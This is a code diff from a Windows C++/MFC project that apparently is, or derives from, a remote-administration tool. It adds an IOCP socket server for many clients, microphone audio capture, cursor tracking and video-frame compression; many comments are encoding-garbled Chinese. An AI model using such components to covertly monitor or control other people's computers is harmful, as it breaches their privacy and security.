MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
return nSize;
}

View File

@@ -0,0 +1,49 @@
// Buffer.h: interface for the CBuffer class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_)
#define AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class CBuffer
{
// Attributes
protected:
PBYTE m_pBase;
PBYTE m_pPtr;
UINT m_nSize;
// Methods
protected:
UINT ReAllocateBuffer(UINT nRequestedSize);
UINT DeAllocateBuffer(UINT nRequestedSize);
UINT GetMemSize();
public:
void ClearBuffer();
UINT Delete(UINT nSize);
UINT Read(PBYTE pData, UINT nSize);
BOOL Write(PBYTE pData, UINT nSize);
BOOL Write(CString& strData);
UINT GetBufferLen();
int Scan(PBYTE pScan,UINT nPos);
BOOL Insert(PBYTE pData, UINT nSize);
BOOL Insert(CString& strData);
void Copy(CBuffer& buffer);
PBYTE GetBuffer(UINT nPos=0);
CBuffer();
virtual ~CBuffer();
void FileWrite(const CString& strFileName);
};
#endif // !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_)

View File

@@ -0,0 +1,70 @@
// CpuUsage.cpp: implementation of the CCpuUsage class.
//
//////////////////////////////////////////////////////////////////////
#include "pch.h"
#include "CpuUsage.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CCpuUsage::CCpuUsage()
{
m_hQuery = NULL;
m_pCounterStruct = NULL;
}
CCpuUsage::~CCpuUsage()
{
PdhCloseQuery(m_hQuery);
delete m_pCounterStruct;
}
BOOL CCpuUsage::Init()
{
if (ERROR_SUCCESS != PdhOpenQuery(NULL, 1, &m_hQuery))
return FALSE;
m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT;
PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, szCounterName, (DWORD) m_pCounterStruct, &(m_pCounterStruct->hCounter));
if (ERROR_SUCCESS != pdh_status)
{
return FALSE;
}
return TRUE;
}
int CCpuUsage::GetUsage()
{
PDH_FMT_COUNTERVALUE pdhFormattedValue;
PdhCollectQueryData(m_hQuery);
if (ERROR_SUCCESS != PdhGetFormattedCounterValue(
m_pCounterStruct->hCounter,
PDH_FMT_LONG,
NULL,
&pdhFormattedValue ))
{
return 0;
}
return pdhFormattedValue.longValue;
}

View File

@@ -0,0 +1,47 @@
// CpuUsage.h: interface for the CCpuUsage class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CPUUSAGE_H__60CF4F03_9F01_41E8_A9FB_51F065D5F3C2__INCLUDED_)
#define AFX_CPUUSAGE_H__60CF4F03_9F01_41E8_A9FB_51F065D5F3C2__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <pdh.h>
#include <pdhmsg.h>
#pragma comment(lib,"PDH.lib")
#define MAX_RAW_VALUES 20
const char szCounterName[] = "\\Processor(_Total)\\% Processor Time";
typedef struct _tag_PDHCounterStruct {
HCOUNTER hCounter; // Handle to the counter - given to use by PDH Library
int nNextIndex; // element to get the next raw value
int nOldestIndex; // element containing the oldes raw value
int nRawCount; // number of elements containing raw values
PDH_RAW_COUNTER a_RawValue[MAX_RAW_VALUES]; // Ring buffer to contain raw values
} PDHCOUNTERSTRUCT, *PPDHCOUNTERSTRUCT;
class CCpuUsage
{
public:
CCpuUsage();
virtual ~CCpuUsage();
BOOL Init();
int GetUsage();
protected:
PPDHCOUNTERSTRUCT m_pCounterStruct;
HQUERY m_hQuery;
};
#endif // !defined(AFX_CPUUSAGE_H__60CF4F03_9F01_41E8_A9FB_51F065D5F3C2__INCLUDED_)

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,215 @@
// IOCPServer.h: interface for the CIOCPServer class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#if !defined(AFX_IOCPSERVER_H__75B80E90_FD25_4FFB_B273_0090AA43BBDF__INCLUDED_)
#define AFX_IOCPSERVER_H__75B80E90_FD25_4FFB_B273_0090AA43BBDF__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <winsock2.h>
#include <MSTcpIP.h>
#pragma comment(lib,"ws2_32.lib")
#include "Buffer.h"
#include "CpuUsage.h"
#include <process.h>
#include <afxtempl.h>
////////////////////////////////////////////////////////////////////
#define NC_CLIENT_CONNECT 0x0001
#define NC_CLIENT_DISCONNECT 0x0002
#define NC_TRANSMIT 0x0003
#define NC_RECEIVE 0x0004
#define NC_RECEIVE_COMPLETE 0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
class CLock
{
public:
CLock(CRITICAL_SECTION& cs, const CString& strFunc)
{
m_strFunc = strFunc;
m_pcs = &cs;
Lock();
}
~CLock()
{
Unlock();
}
void Unlock()
{
LeaveCriticalSection(m_pcs);
TRACE(_T("LC %d %s\n") , GetCurrentThreadId() , m_strFunc);
}
void Lock()
{
//<2F><><EFBFBD>̲߳<DFB3><CCB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>̰߳<DFB3>˳<EFBFBD><CBB3><EFBFBD>ķ<EFBFBD><C4B7><EFBFBD>
TRACE(_T("EC %d %s\n") , GetCurrentThreadId(), m_strFunc);
EnterCriticalSection(m_pcs);
}
protected:
CRITICAL_SECTION* m_pcs;
CString m_strFunc;
};
enum IOType
{
IOInitialize,
IORead,
IOWrite,
IOIdle
};
class OVERLAPPEDPLUS
{
public:
OVERLAPPED m_ol;
IOType m_ioType;
OVERLAPPEDPLUS(IOType ioType) {
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
m_ioType = ioType;
}
};
//lang2.1_3
struct ClientContext //<2F>򵥷<EFBFBD><F2B5A5B7><EFBFBD>ClientContext<78><EFBFBD><E1B9B9>Ȼ<EFBFBD><C8BB><EFBFBD>ص<EFBFBD> SendSelectCommand
{
SOCKET m_Socket; //<2F>׽<EFBFBD><D7BD><EFBFBD>
// Store buffers
CBuffer m_WriteBuffer;
CBuffer m_CompressionBuffer; // <20><><EFBFBD>յ<EFBFBD><D5B5><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CBuffer m_DeCompressionBuffer; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CBuffer m_ResendWriteBuffer; // <20>ϴη<CFB4><CEB7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>ʱ<EFBFBD>ط<EFBFBD>ʱ<EFBFBD><CAB1>
int m_Dialog[2]; // <20>ŶԻ<C5B6><D4BB><EFBFBD><EFBFBD>б<EFBFBD><D0B1>ã<EFBFBD><C3A3><EFBFBD>һ<EFBFBD><D2BB>int<6E><74><EFBFBD><EFBFBD><EFBFBD>ͣ<EFBFBD><CDA3>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD><EFBFBD>CDialog<6F>ĵ<EFBFBD>ַ
int m_nTransferProgress;
// Input Elements for Winsock
WSABUF m_wsaInBuffer;
BYTE m_byInBuffer[8192];
// Output elements for Winsock
WSABUF m_wsaOutBuffer;
HANDLE m_hWriteComplete;
// Message counts... purely for example purposes
LONG m_nMsgIn;
LONG m_nMsgOut;
BOOL m_bIsMainSocket; // <20>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD>socket
ClientContext* m_pWriteContext;
ClientContext* m_pReadContext;
};
template<>
inline UINT AFXAPI HashKey(CString & strGuid)
{
return HashKey( (LPCTSTR) strGuid);
}
#include "Mapper.h"
typedef void (CALLBACK* NOTIFYPROC)(LPVOID, ClientContext*, UINT nCode);
typedef CList<ClientContext*, ClientContext* > ContextList;
class CMainFrame;
class CIOCPServer
{
public:
void DisconnectAll();
CIOCPServer();
virtual ~CIOCPServer();
NOTIFYPROC m_pNotifyProc; //<2F>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EBA3AC><EFBFBD><EFBFBD><EFBFBD>ǵĻص<C4BB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD><EFBFBD>ǵĻص<C4BB><D8B5><EFBFBD><EFBFBD><EFBFBD>
CMainFrame* m_pFrame;
bool Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort);
static unsigned __stdcall ListenThreadProc(LPVOID lpVoid);
static unsigned __stdcall ThreadPoolFunc(LPVOID WorkContext);
static CRITICAL_SECTION m_cs;
void Send(ClientContext* pContext, LPBYTE lpData, UINT nSize);
void PostRecv(ClientContext* pContext);
bool IsRunning();
void Shutdown();
void ResetConnection(ClientContext* pContext);
LONG m_nCurrentThreads;
LONG m_nBusyThreads;
UINT m_nSendKbps; // <20><><EFBFBD>ͼ<EFBFBD>ʱ<EFBFBD>ٶ<EFBFBD>
UINT m_nRecvKbps; // <20><><EFBFBD>ܼ<EFBFBD>ʱ<EFBFBD>ٶ<EFBFBD>
UINT m_nMaxConnections; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
protected:
void InitializeClientRead(ClientContext* pContext);
BOOL AssociateSocketWithCompletionPort(SOCKET device, HANDLE hCompletionPort, DWORD dwCompletionKey);
void RemoveStaleClient(ClientContext* pContext, BOOL bGraceful);
void MoveToFreePool(ClientContext *pContext);
ClientContext* AllocateContext();
LONG m_nWorkerCnt;
bool m_bInit;
bool m_bDisconnectAll;
BYTE m_bPacketFlag[5]; //<2F><><EFBFBD>ݱ<EFBFBD><DDB1><EFBFBD>
void CloseCompletionPort();
void OnAccept();
bool InitializeIOCP(void);
void Stop();
ContextList m_listContexts;
ContextList m_listFreePool;
WSAEVENT m_hEvent;
SOCKET m_socListen;
HANDLE m_hKillEvent;
HANDLE m_hThread;
HANDLE m_hCompletionPort;
bool m_bTimeToKill;
CCpuUsage m_cpu;
LONG m_nKeepLiveTime; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ
// Thread Pool Tunables
LONG m_nThreadPoolMin;
LONG m_nThreadPoolMax;
LONG m_nCPULoThreshold;
LONG m_nCPUHiThreshold;
CString GetHostName(SOCKET socket);
void CreateStream(ClientContext* pContext);
BEGIN_IO_MSG_MAP()
IO_MESSAGE_HANDLER(IORead, OnClientReading)
IO_MESSAGE_HANDLER(IOWrite, OnClientWriting)
IO_MESSAGE_HANDLER(IOInitialize, OnClientInitializing)
END_IO_MSG_MAP()
bool OnClientInitializing (ClientContext* pContext, DWORD dwSize = 0);
bool OnClientReading (ClientContext* pContext, DWORD dwSize = 0);
bool OnClientWriting (ClientContext* pContext, DWORD dwSize = 0);
};
#endif // !defined(AFX_IOCPSERVER_H__75B80E90_FD25_4FFB_B273_0090AA43BBDF__INCLUDED_)

View File

@@ -0,0 +1,27 @@
#ifndef __IO_MAPPER__
#define __IO_MAPPER__
#define net_msg
class __declspec(novtable) CIOMessageMap
{
public:
virtual bool ProcessIOMessage(IOType clientIO, ClientContext* pContext, DWORD dwSize) = 0;
};
#define BEGIN_IO_MSG_MAP() \
public: \
bool ProcessIOMessage(IOType clientIO, ClientContext* pContext, DWORD dwSize = 0) \
{ \
bool bRet = false;
#define IO_MESSAGE_HANDLER(msg, func) \
if (msg == clientIO) \
bRet = func(pContext, dwSize);
#define END_IO_MSG_MAP() \
return bRet; \
}
#endif

View File

@@ -4,10 +4,14 @@
// 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。
// 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。
#ifndef PCH_H
#define PCH_H
// 添加要在此处预编译的标头
#include "framework.h"
#include <afxcontrolbars.h>
#endif //PCH_H

View File

@@ -16,9 +16,12 @@
#define IDB_BITMAP_MAIN 136
#define IDR_MENU3 137
#define IDR_MENU_NOTIFY 137
#define IDD_DIALOG_SETTING 138
#define IDC_ONLINE 1000
#define IDC_LIST2 1001
#define IDC_MESSAGE 1001
#define IDC_EDIT_PORT 1002
#define IDC_EDIT_MAX 1003
#define ID_ONLINE_32771 32771
#define ID_ONLINE_32772 32772
#define ID_ONLINE_32773 32773
@@ -63,14 +66,15 @@
#define ID_SYSTEMMENU_32813 32813
#define IDM_NOTIFY_SHOW 32814
#define IDM_NOTIFY_CLOSE 32815
#define IDM_BUTTON123456 32816
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 138
#define _APS_NEXT_COMMAND_VALUE 32816
#define _APS_NEXT_CONTROL_VALUE 1002
#define _APS_NEXT_RESOURCE_VALUE 140
#define _APS_NEXT_COMMAND_VALUE 32817
#define _APS_NEXT_CONTROL_VALUE 1003
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,3 @@
[Settings]
ListenPort=2001
MaxConnection=9999

View File

@@ -5,7 +5,7 @@ echo *.aps *.idb *.ncp *.obj *.pch *.tmp *.sbr
echo ----------------------------------------------------
pause
del /F /Q /S *.aps *.idb *.db *.ncp *.obj *.pch *.sbr *.tmp *.pdb *.bsc *.ilk *.sdf *.ncb *.dep *.ipch *.tlog *.dll *.exp
del /F /Q /S *.aps *.idb *.ipdb *.iobj *.db *.ncp *.obj *.pch *.sbr *.tmp *.pdb *.bsc *.ilk *.sdf *.ncb *.dep *.ipch *.tlog *.dll *.exp
pause

199
common/Audio.cpp Normal file
View File

@@ -0,0 +1,199 @@
// Audio.cpp: implementation of the CAudio class.
//
//////////////////////////////////////////////////////////////////////
#include "Audio.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudio::CAudio()
{
m_hEventWaveIn = CreateEvent(NULL, false, false, NULL);
m_hStartRecord = CreateEvent(NULL, false, false, NULL);
m_hThreadCallBack = NULL;
m_nWaveInIndex = 0;
m_nWaveOutIndex = 0;
m_nBufferLength = 1000; // m_GSMWavefmt.wfx.nSamplesPerSec / 8(bit)
m_bIsWaveInUsed = false;
m_bIsWaveOutUsed = false;
for (int i = 0; i < 2; i++)
{
m_lpInAudioData[i] = new BYTE[m_nBufferLength];
m_lpInAudioHdr[i] = new WAVEHDR;
m_lpOutAudioData[i] = new BYTE[m_nBufferLength];
m_lpOutAudioHdr[i] = new WAVEHDR;
}
memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; // ACM will auto convert wave format
m_GSMWavefmt.wfx.nChannels = 1;
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
m_GSMWavefmt.wfx.nBlockAlign = 65;
m_GSMWavefmt.wfx.wBitsPerSample = 0;
m_GSMWavefmt.wfx.cbSize = 2;
m_GSMWavefmt.wSamplesPerBlock = 320;
}
CAudio::~CAudio()
{
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++)
waveInUnprepareHeader(m_hWaveIn, m_lpInAudioHdr[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
TerminateThread(m_hThreadCallBack, -1);
}
if (m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; i++)
waveOutUnprepareHeader(m_hWaveOut, m_lpInAudioHdr[i], sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}
for (int i = 0; i < 2; i++)
{
delete [] m_lpInAudioData[i];
delete m_lpInAudioHdr[i];
delete [] m_lpOutAudioData[i];
delete m_lpOutAudioHdr[i];
}
CloseHandle(m_hEventWaveIn);
CloseHandle(m_hStartRecord);
CloseHandle(m_hThreadCallBack);
}
LPBYTE CAudio::getRecordBuffer(LPDWORD lpdwBytes)
{
// Not open WaveIn yet, so open it...
if (!m_bIsWaveInUsed && !InitializeWaveIn())
return NULL;
if (lpdwBytes == NULL)
return NULL;
SetEvent(m_hStartRecord);
WaitForSingleObject(m_hEventWaveIn, INFINITE);
*lpdwBytes = m_nBufferLength;
return m_lpInAudioData[m_nWaveInIndex];
}
bool CAudio::playBuffer(LPBYTE lpWaveBuffer, DWORD dwBytes)
{
if (!m_bIsWaveOutUsed && !InitializeWaveOut())
return NULL;
for (int i = 0; i < dwBytes; i += m_nBufferLength)
{
memcpy(m_lpOutAudioData[m_nWaveOutIndex], lpWaveBuffer, m_nBufferLength);
waveOutWrite(m_hWaveOut, m_lpOutAudioHdr[m_nWaveOutIndex], sizeof(WAVEHDR));
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
}
return true;
}
bool CAudio::InitializeWaveIn()
{
if (!waveInGetNumDevs())
return false;
MMRESULT mmResult;
DWORD dwThreadID = 0;
m_hThreadCallBack = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this, CREATE_SUSPENDED, &dwThreadID);
mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD);
if (mmResult != MMSYSERR_NOERROR)
return false;
for (int i = 0; i < 2; i++)
{
m_lpInAudioHdr[i]->lpData = (LPSTR)m_lpInAudioData[i];
m_lpInAudioHdr[i]->dwBufferLength = m_nBufferLength;
m_lpInAudioHdr[i]->dwFlags = 0;
m_lpInAudioHdr[i]->dwLoops = 0;
waveInPrepareHeader(m_hWaveIn, m_lpInAudioHdr[i], sizeof(WAVEHDR));
}
waveInAddBuffer(m_hWaveIn, m_lpInAudioHdr[m_nWaveInIndex], sizeof(WAVEHDR));
ResumeThread(m_hThreadCallBack);
waveInStart(m_hWaveIn);
m_bIsWaveInUsed = true;
return true;
}
bool CAudio::InitializeWaveOut()
{
if (!waveOutGetNumDevs())
return false;
for (int i = 0; i < 2; i++)
memset(m_lpOutAudioData[i], 0, m_nBufferLength);
MMRESULT mmResult;
mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL);
if (mmResult != MMSYSERR_NOERROR)
return false;
for (i = 0; i < 2; i++)
{
m_lpOutAudioHdr[i]->lpData = (LPSTR)m_lpOutAudioData[i];
m_lpOutAudioHdr[i]->dwBufferLength = m_nBufferLength;
m_lpOutAudioHdr[i]->dwFlags = 0;
m_lpOutAudioHdr[i]->dwLoops = 0;
waveOutPrepareHeader(m_hWaveOut, m_lpOutAudioHdr[i], sizeof(WAVEHDR));
}
m_bIsWaveOutUsed = true;
return true;
}
DWORD WINAPI CAudio::waveInCallBack( LPVOID lparam )
{
CAudio *pThis = (CAudio *)lparam;
MSG Msg;
while (GetMessage(&Msg, NULL, 0, 0))
{
if (Msg.message == MM_WIM_DATA)
{
// ֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD>
SetEvent(pThis->m_hEventWaveIn);
// <20>ȴ<EFBFBD><C8B4><EFBFBD>ʼ<EFBFBD>´<EFBFBD>¼<EFBFBD><C2BC>
WaitForSingleObject(pThis->m_hStartRecord, INFINITE);
pThis->m_nWaveInIndex = 1 - pThis->m_nWaveInIndex;
MMRESULT mmResult = waveInAddBuffer(pThis->m_hWaveIn, pThis->m_lpInAudioHdr[pThis->m_nWaveInIndex], sizeof(WAVEHDR));
if (mmResult != MMSYSERR_NOERROR)
return -1;
}
// Why never happend this
if (Msg.message == MM_WIM_CLOSE)
break;
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
return 0;
}

53
common/Audio.h Normal file
View File

@@ -0,0 +1,53 @@
// Audio.h: interface for the CAudio class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_AUDIO_H__4DD286A3_85E9_4492_A1A5_C3B2D860BD1A__INCLUDED_)
#define AFX_AUDIO_H__4DD286A3_85E9_4492_A1A5_C3B2D860BD1A__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <windows.h>
#include <mmsystem.h>
#include <mmreg.h>
#pragma comment(lib, "Winmm.lib")
class CAudio
{
public:
CAudio();
virtual ~CAudio();
int m_nBufferLength;
LPBYTE m_lpInAudioData[2]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPBYTE m_lpOutAudioData[2];
HWAVEIN m_hWaveIn;
int m_nWaveInIndex;
int m_nWaveOutIndex;
HANDLE m_hEventWaveIn; // MM_WIM_DATA<54><41><EFBFBD><EFBFBD>
HANDLE m_hStartRecord; // getRecordBuffer <20><><EFBFBD>غ󴥷<D8BA>
LPBYTE getRecordBuffer(LPDWORD lpdwBytes);
bool playBuffer(LPBYTE lpWaveBuffer, DWORD dwBytes);
private:
HANDLE m_hThreadCallBack;
LPWAVEHDR m_lpInAudioHdr[2];
LPWAVEHDR m_lpOutAudioHdr[2];
HWAVEOUT m_hWaveOut;
bool m_bIsWaveInUsed;
bool m_bIsWaveOutUsed;
GSM610WAVEFORMAT m_GSMWavefmt;
bool InitializeWaveIn();
bool InitializeWaveOut();
static DWORD WINAPI waveInCallBack(LPVOID lparam);
};
#endif // !defined(AFX_AUDIO_H__4DD286A3_85E9_4492_A1A5_C3B2D860BD1A__INCLUDED_)

85
common/CursorInfo.h Normal file
View File

@@ -0,0 +1,85 @@
// CursorInfo.h: interface for the CCursorInfo class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CURSORINFO_H__CE8C6529_4ACB_4BC3_96A8_C5C255A81289__INCLUDED_)
#define AFX_CURSORINFO_H__CE8C6529_4ACB_4BC3_96A8_C5C255A81289__INCLUDED_
#include <windows.h>
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define MAX_CURSOR_TYPE 16
class CCursorInfo
{
private:
LPCTSTR m_CursorResArray[MAX_CURSOR_TYPE];
HCURSOR m_CursorHandleArray[MAX_CURSOR_TYPE];
public:
CCursorInfo()
{
LPCTSTR CursorResArray[MAX_CURSOR_TYPE] =
{
IDC_APPSTARTING,
IDC_ARROW,
IDC_CROSS,
IDC_HAND,
IDC_HELP,
IDC_IBEAM,
IDC_ICON,
IDC_NO,
IDC_SIZE,
IDC_SIZEALL,
IDC_SIZENESW,
IDC_SIZENS,
IDC_SIZENWSE,
IDC_SIZEWE,
IDC_UPARROW,
IDC_WAIT
};
for (int i = 0; i < MAX_CURSOR_TYPE; i++)
{
m_CursorResArray[i] = CursorResArray[i];
m_CursorHandleArray[i] = LoadCursor(NULL, CursorResArray[i]);
}
}
virtual ~CCursorInfo()
{
for (int i = 0; i < MAX_CURSOR_TYPE; i++)
DestroyCursor(m_CursorHandleArray[i]);
}
int getCurrentCursorIndex()
{
CURSORINFO ci;
ci.cbSize = sizeof(CURSORINFO);
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
return -1;
for (int i = 0; i < MAX_CURSOR_TYPE; i++)
{
if (ci.hCursor == m_CursorHandleArray[i])
break;
}
DestroyCursor(ci.hCursor);
int nIndex = i == MAX_CURSOR_TYPE ? -1 : i;
return nIndex;
}
HCURSOR getCursorHandle( int nIndex )
{
if (nIndex >= 0 && nIndex < MAX_CURSOR_TYPE)
return m_CursorHandleArray[nIndex];
else
return NULL;
}
};
#endif // !defined(AFX_CURSORINFO_H__CE8C6529_4ACB_4BC3_96A8_C5C255A81289__INCLUDED_)

157
common/VideoCodec.h Normal file
View File

@@ -0,0 +1,157 @@
#if !defined(AFX_VIDEOCODEC_H_INCLUDED)
#define AFX_VIDEOCODEC_H_INCLUDED
/*
<EFBFBD><EFBFBD><EFBFBD>õı<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>M263<36><33><EFBFBD><EFBFBD>
0x64697663,1684633187,Cinepak Codec by Radius 76032 >> 1860
0x32335649,842225225,Intel Indeo(R) Video R3.2 76032 >> 475
0x56555949,1448433993,Intel IYUV codec 76032 >> 38016 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>̫<EFBFBD><CCAB>
0x4356534d,1129730893,Microsoft Video 1 76032 >> 3202
0x3336324d,859189837,Microsoft H.263 Video Codec 76032 >> 663 <20>Էֱ<D4B7><D6B1><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>
0x33564d57,861293911,Microsoft Windows Media Video 9 76032 >> 196
0x3234504d,842289229,Microsoft MPEG-4 Video Codec V2 76032 >> 349
M263ֻ֧<EFBFBD><EFBFBD>176*144 352*288 (352*288 24<32>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>ֻ֧<D6BB><D6A7>biPlanes = 1)
һ<EFBFBD>ο<EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><EFBFBD>ϵĴ<EFBFBD><EFBFBD><EFBFBD>
// <20>оٱ<D0BE><D9B1><EFBFBD><EFBFBD><EFBFBD>װ<EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD>(CODEC)
int EnumCodecs(int *fccHandler, char *strName)
{
static int i = 0;
int nRet = 1;
HIC hIC;
ICINFO icInfo;
if (fccHandler == NULL)
return 0;
if(!ICInfo(ICTYPE_VIDEO, i, &icInfo))
{
i = 0;
return 0;
}
hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY);
if (hIC)
{
ICGetInfo(hIC, &icInfo, sizeof(icInfo));
*fccHandler = icInfo.fccHandler;
//<2F><><EFBFBD>ڵõ<DAB5><C3B5><EFBFBD>szDescription<6F><6E>UNICODE˫<45>ֽ<EFBFBD><D6BD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫת<D2AA><D7AA>ΪASCII<49><49>
if (strName != NULL)
wcstombs(strName, icInfo.szDescription, 256);
}
else nRet = -1;
ICClose(hIC);
i++;
return nRet;
}
Usage:
int fccHandler;
char strName[MAX_PATH];
while(EnumCodecs(&fccHandler, strName))
{
printf("0x%x,%s\n", fccHandler, strName);
}
*/
class CVideoCodec
{
COMPVARS m_cv;
HIC m_hIC;
BITMAPINFO* m_lpbmiInput;
BITMAPINFO m_bmiOutput;
public:
bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler)
{
if (lpbmi == NULL)
return false;
m_lpbmiInput = lpbmi;
ZeroMemory(&m_cv, sizeof(m_cv));
m_cv.cbSize = sizeof(m_cv);
m_cv.dwFlags = ICMF_COMPVARS_VALID;
m_cv.hic = m_hIC;
m_cv.fccType = ICTYPE_VIDEO;
m_cv.fccHandler = fccHandler;
m_cv.lpbiOut = NULL;
m_cv.lKey = 10;
m_cv.lDataRate = 6;
m_cv.lQ = ICQUALITY_HIGH;
m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS);
if (m_hIC == NULL)
{
return false;
}
ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֤
ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2);
m_cv.hic = m_hIC;
m_cv.dwFlags = ICMF_COMPVARS_VALID;
if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput))
{
return false;
}
ICDecompressBegin(m_hIC, &m_bmiOutput , m_lpbmiInput);
return true;
}
bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag)
{
if(!pin || !pout ||!m_hIC)
return false;
if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK)
return false;
if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage;
return true;
}
bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey)
{
BYTE *p;
long s = 1;
BOOL k = true;
if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC)
return false;
p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s);
if (!p) return false;
if (lenr) *lenr = s;
if (pKey) *pKey = k;
CopyMemory(pout, p, s);
return true;
}
CVideoCodec()
{
